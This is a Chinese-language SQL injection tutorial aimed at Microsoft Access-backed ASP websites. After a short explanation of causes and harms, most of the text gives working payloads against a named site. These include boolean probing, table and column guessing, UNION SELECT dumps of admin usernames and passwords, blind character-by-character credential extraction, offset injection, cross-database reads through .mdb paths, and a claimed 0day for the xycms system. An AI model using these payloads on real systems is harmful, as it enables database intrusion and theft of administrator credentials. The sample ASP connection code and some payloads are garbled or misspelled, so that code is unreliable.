Access数据库漏洞分析

  大纲:注入漏洞分析  Access数据库注入详解

注入漏洞分析

  网站分类

    静态网页:html或htm,是种静态的网页格式,不需要服务器解析其中的脚本,由浏览器解析显示。

    特点:

      1、不依赖数据库

      2、灵活性差,制作、更新、维护麻烦

      3、交互性较差,在功能方面有很大的限制

      4、安全,不存在SQL注入漏洞

    动态网页:asp、aspx、php、isp等,有相应的脚本引擎来解释执行,根据指令生成静态网页。

    特点:    

      1、依赖数据库

      2、灵活性好,维护简便

      3、交互性好,功能强大

      4、有安全风险,肯能存在SQL注入漏洞

常见的数据库

  微软的:Access数据库  MSsql数据库

  MySQL数据库  oracle  postgresql(国外常用的)  Db2 、、、

网站访问模型

  

漏洞成因

  注入漏洞是怎么形成的?

数据与代码没有严格的分离;用户提交的参数数据没有充分的检查过滤,也就是说,被带入到SQL命令中,改变了原有SQL命令的语义,并且成功的被数据库指向。

常见的注入流程

注入危害

  SQL注入的定义:所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句

得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击.

   SQL注入的危害,包括不仅限于:

    1、数据库信息的泄露:数据库中存放的用户的隐私信息的泄露

    2、网页篡改:通过操作数据库对特定的网页进行篡改

    3、网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马连接,进行挂马攻击

    4、数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员账户被篡改

    5、服务器被远程控制,安装后门:经由数据库服务器提供的操作系统支持,让黑客得以修改控制操作系统

    6、破坏硬盘数据,瘫痪全部系统

    一些类型的数据库系统能让SQL操作文件系统,这又会是危害进一步扩大。

Access数据库注入详解

  介绍:Microsoft Office Access是由微软发布的关系数据库管理系统。它结合了 MicrosoftJet Database Engine 和 图形用户界面两项特点,是 Microsoft Office 的系统程序之一。

Microsoft Office Access是微软把数据库引擎的图形用户界面和软件开发工具结合在一起的一个数据库管理系统。它是微软OFFICE的一个成员, 在包括专业版和更高版本的office版本里面被单独出售。2018年9月25日,最新的微软Office Access 2019在微软Office 2019里发布。

MS ACCESS以它自己的格式将数据存储在基于Access Jet的数据库引擎里。它还可以直接导入或者链接数据(这些数据存储在其他应用程序和数据库)。

软件开发人员和数据架构师可以使用Microsoft Access开发应用软件,“高级用户”可以使用它来构建软件应用程序。和其他办公应用程序一样,ACCESS支持Visual Basic宏语言,它是一个面向对象的编程语言,可以引用各种对象,包括DAO(数据访问对象),ActiveX数据对象,以及许多其他的ActiveX组件。可视对

象用于显示表和报表,他们的方法和属性是在VBA编程环境下,VBA代码模块可以声明和调用Windows操作系统函数。

  优势:提高速度,减少代码量

  缺陷:

    1、数据库过大时,大概达到100M左右的时候性能会下降,容易出现假死等情况

    2、容易出现各种因数据库刷写频率过快二引起的数据库问题

    3、Access数据库安全性比不上其他类型的数据库

    4、Access论坛大了以后就很容易出现数据库方面的问题,当论坛数据库达到50M以上,帖子5万左右,在线人数100人左右的时候,论坛基本上就旨在处理数据库,这时可能就会出现数据库缓慢的情况

  ASP链接access数据库的代码

"driver={microsoft access driver(*.mdb)};dnq=*.mdb;uid=admin;pwd=pass;"
din conn
set conn=server.createobject("adodb.connection")
conn.open "provider=Micofoft.ACE.OLEDB.Do;"&"datasource="&server.mappath("bbs.mdb")"

数据库文件打开工具

  数据库后缀  *.mdb

  常用打开工具  辅臣数据库浏览器  破障浏览器

数据库查询分析

  http://eweb55.editor.com/showshop.asp?id=19

  在查询时,可以在后面加上 and 1=1(回显正常)  and 1=2(报错)  进行验证,在网站存在waf时,也可以 id=19-0(回显正常)  id=19/(报错)  进行验证

Access数据库注入原理

  漏洞判断

    判断注入点:and 1=1  and 1=2  /  -0  .0  .1  '

  判断数据库注入

    and exsits (select * from msysobjects)>0   报错时会显示access数据库

    and exsits (select * from sysobjects)>0   报错时会显示sqlsever数据库

  判断数据库表

    and exsits (select * from admin)  返回正常时存在admin表,不正常时不存在admin表

  判断数据库列名

    and exsits (select admin from admin)   返回正常时存在admin列,不正常时不存在admin列

  联合查询

    SQL-->Union select statement(火狐工具)

    http://eweb55.editor.com/showshop.asp?id=19 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14 from admin_user

    联合查询前后语句一起查询,前面查询的是数字类型,如果后面查询输出的结果与全面的类型不匹配,那就是说不匹配的部分就是字符型(根据页面回显的错误部分)

    http://eweb55.editor.com/showshop.asp?id=19 UNION SELECT 1,admin,3,password,5,6,7,8,9,10,11,12,13,14 from admin_user(不一定是在2和4上,只要是报错出来的字符类型的列上,都可以爆出来)

Access注入

  判断字符长度  order by 20

番外

判断账户密码长度

  and (select len(admin) from admin)=5 返回正常说明用户名长度就是5

  and (select len(password) from admin)=5 返回正常说明密码长度就是5

猜解管理员账号的第一个数据

  and (select top 1 asc (mid(admin,1,1)) from admin) >100  返回正常说明大于,不正常说明小于

  and (select top 1 asc (mid(admin,1,1)) from admin) >50    返回正常说明大于,不正常说明小于

  and (select top 1 asc (mid(admin,1,1)) from admin) =97    返回正常说明就是97--->a,不正常说明就不是

  以此类推,往下猜解

判断管理员的第二数据

  and (select top 1 asc (mid(admin,2,1)) from admin) >100

判断管理员的第三个数据

  and (select top 1 asc (mid(admin,3,1)) from admin) >100

对于管理员密码的判断方法与上面一样

  and (caselect top 1 asc (mid(password,1,1)) from admin) >100

其实我们常用的工具就是以这种方法进行猜解的

Access数据库高级玩法

  偏移注入(随机报出某一列的内容)

    主要是用来解决表名已经猜到,列名猜不到的情况。

    http://eweb55.editor.com/showshop.asp?id=19 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin

    用*代替列,不断地从后往前减,直到返回正常,*代表了所有的admin表字段

    代入公式计算

    22-16=6(6相当于等差)  10+6*2=22  4+6*3=22

    找到第一个位置之后直接往前移动相同的个数,如果报错,进行如下操作

    http://eweb55.editor.com/showshop.asp?id=19 union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id, * from (admin as a inner join admin as b on a.id=b.id)  (如果报错,可以删除前面的a.id,b.id)

http://eweb55.editor.com/showshop.asp?id=19 union select 1,2,3,4,a.id,b.id ,c.id, * from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)  (依次往后加,直到得到想要的信息)

第二种方法

  1、后台登录文件源码,查看表单里面的参数值

  2、看网站地址链接上的规则

  3.是否判断对方使用的cms程序

垮库查询

  条件:同服务器下的站点有注入。知道对方的站点的数据库绝对路径,直到对方数据库表,表中的字段名可以用这种方法来垮库查询

  绝对路径:D:/wwwroot/...*.mdb asa.asp

  e.g

    a是目标站点,b是存在注入的站点;a,b是同服务器的站点,admin是数据库中的表,user是数据库中admin表的字段,password是数据库中admin表的字段

http://www.xxx.com/news/type.asp?type?id=1 and 1=2 union select 1,2,user,4,5,6 from [D:\wwwroot\1\Datebases\xycms.mdb].admin

挖局0day

  xycms

  通杀0day

  union select 1.admin,3,4,password,6,7 from admin,user

 

2019-04-25  13:58:42